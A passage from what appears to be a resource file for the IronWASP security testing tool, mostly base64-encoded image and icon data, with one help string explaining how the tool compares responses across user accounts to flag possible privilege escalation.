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 + /l+3snYDiQzmtwAAAABJRU5ErkJggg== + + + + + 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 + QmCC + + + + IronWASP sends each selected Request from the account of a different user and then compares its response against the response received for the same request sent from the account of the original user. +The percentage of difference between these twos responses is displayed in this section. A low percentage of difference means that the application gave a very similar response to the requests made with both the accounts even though one of the accounts is not meant to access this resource. Analyzing this manually can help the tester determine if the application is vulnerable to privilege escalation. + + + + + + + AAABAAYAEBAAAAEAIABoBAAAZgAAACAgAAABACAAqBAAAM4EAAAwMAAAAQAgAKglAAB2FQAAQEAAAAEA + IAAoQgAAHjsAAICAAAABACAAKAgBAEZ9AAAAAAAAAQAgALQeAABuhQEAKAAAABAAAAAgAAAAAQAgAAAA + AAAABAAAIy4AACMuAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADRl08C0ZdPAgAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0ZdPWNGX + T1gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0ZdPFdGX + T8jRl0/H0ZdPFQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGX + T43Rl0/U0ZdP1NGXT40AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGX + 